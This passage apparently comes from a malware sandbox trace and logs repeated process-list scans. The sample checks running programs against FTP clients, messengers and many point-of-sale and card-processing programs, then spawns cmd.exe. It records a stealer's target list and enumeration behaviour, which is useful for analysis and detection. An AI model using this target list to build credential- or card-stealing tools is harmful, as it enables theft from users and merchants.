szExeFile="ncftp.exe")) returned 1 [0086.067] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0086.068] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0086.070] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0086.071] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0086.242] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0086.244] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0086.245] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0086.246] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0086.247] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0086.248] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0086.249] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0086.250] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0086.251] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0086.252] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0086.253] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0086.254] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0086.255] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0086.256] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0086.257] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0086.258] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0086.259] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0086.260] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0086.261] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0086.262] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0086.263] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0086.264] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0086.265] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0086.266] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0086.266] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0086.267] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0086.268] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0086.269] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.270] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0086.271] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0086.271] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0086.272] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0086.273] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0086.274] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0086.529] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0086.529] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0086.530] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x137c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.531] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0086.531] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0086.532] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0086.532] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0086.533] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0086.534] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0086.534] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0086.535] CloseHandle (hObject=0x324) returned 1 [0086.535] Sleep (dwMilliseconds=0x1f4) [0087.214] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x31c [0087.232] Process32FirstW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0087.233] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0087.234] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0087.235] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0087.236] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0087.236] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0087.237] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0087.237] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0087.238] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0087.239] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.239] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0087.240] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0087.241] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.241] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0087.242] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.242] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.243] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.244] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.244] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.245] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.246] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.604] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.604] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.605] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.605] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0087.606] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.606] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0087.607] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0087.607] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.608] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0087.608] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0087.609] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0087.609] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0087.610] Process32NextW (in: 